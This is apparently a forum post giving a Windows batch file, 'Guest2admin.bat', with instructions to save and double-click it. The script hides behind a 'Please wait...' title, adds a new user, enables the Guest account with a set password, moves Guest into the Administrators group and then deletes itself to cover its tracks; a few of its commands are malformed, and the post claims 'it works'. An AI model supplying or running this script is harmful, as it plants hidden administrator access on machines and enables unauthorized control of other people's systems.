echo off
title Please wait...
cls

net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add

del %0[/b]

Copy this to notepad and save the file as "Guest2admin.bat"
then u can dbl clk the file to execute or run in the cmd.
it works...